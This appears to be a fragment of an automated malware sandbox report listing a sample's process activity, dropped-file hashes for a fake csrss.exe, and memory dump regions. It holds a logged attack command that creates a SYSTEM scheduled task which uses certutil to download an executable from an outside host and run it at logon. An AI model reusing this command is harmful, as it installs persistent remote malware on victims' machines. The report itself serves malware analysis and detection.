C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220604152149.log C:\Windows\Logs\CBS\CbsPersist_20220604152149.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\rss\csrss.exeFilesize
4.4MB
MD554a520f5d265e1436948bfac54f97284
SHA147ac910cec047fc26990a9a20d7955419d547691
SHA25610db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0
SHA512a999721d5c3e9e5de1bf6e93f89fc37e8ce22b05241ffe345de7fdca42b9b62fa09287444f5c63c3545a25d006ac9fc2a99a3bf62df3d51d22cc22e418367792
-
\Windows\rss\csrss.exeFilesize
4.4MB
MD554a520f5d265e1436948bfac54f97284
SHA147ac910cec047fc26990a9a20d7955419d547691
SHA25610db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0
SHA512a999721d5c3e9e5de1bf6e93f89fc37e8ce22b05241ffe345de7fdca42b9b62fa09287444f5c63c3545a25d006ac9fc2a99a3bf62df3d51d22cc22e418367792
-
\Windows\rss\csrss.exeFilesize
4.4MB
MD554a520f5d265e1436948bfac54f97284
SHA147ac910cec047fc26990a9a20d7955419d547691
SHA25610db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0
SHA512a999721d5c3e9e5de1bf6e93f89fc37e8ce22b05241ffe345de7fdca42b9b62fa09287444f5c63c3545a25d006ac9fc2a99a3bf62df3d51d22cc22e418367792
-
memory/568-65-0x0000000000000000-mapping.dmp
-
memory/568-66-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmpFilesize
8KB
-
memory/748-64-0x0000000000400000-0x0000000002FCA000-memory.dmpFilesize
43.8MB
-
memory/748-71-0x0000000000400000-0x0000000002FCA000-memory.dmpFilesize
43.8MB
-
memory/748-61-0x0000000004AC0000-0x0000000004EF0000-memory.dmpFilesize
4.2MB
-
memory/748-62-0x0000000000400000-0x0000000002FCA000-memory.dmpFilesize
43.8MB
-
memory/748-60-0x0000000004AC0000-0x0000000004EF0000-memory.dmpFilesize
4.2MB
-
memory/1664-54-0x0000000004B30000-0x0000000004F60000-memory.dmpFilesize
4.2MB
-
memory/1664-59-0x0000000000400000-0x0000000002FCA000-memory.dmpFilesize
43.8MB
-
memory/1664-58-0x0000000000400000-0x0000000002FCA000-memory.dmpFilesize
43.8MB
-
memory/1664-57-0x0000000000400000-0x0000000002FCA000-memory.dmpFilesize
43.8MB
-
memory/1664-56-0x0000000004F60000-0x000000000586A000-memory.dmpFilesize
9.0MB
-
memory/1664-55-0x0000000004B30000-0x0000000004F60000-memory.dmpFilesize
4.2MB
-
memory/1864-63-0x0000000000000000-mapping.dmp
-
memory/1896-69-0x0000000000000000-mapping.dmp
-
memory/1896-72-0x00000000049D0000-0x0000000004E00000-memory.dmpFilesize
4.2MB
-
memory/1896-73-0x00000000049D0000-0x0000000004E00000-memory.dmpFilesize
4.2MB
-
memory/1896-74-0x0000000004E00000-0x000000000570A000-memory.dmpFilesize
9.0MB
-
memory/1896-75-0x0000000000400000-0x0000000002FCA000-memory.dmpFilesize
43.8MB
-
memory/1896-76-0x0000000000400000-0x0000000002FCA000-memory.dmpFilesize
43.8MB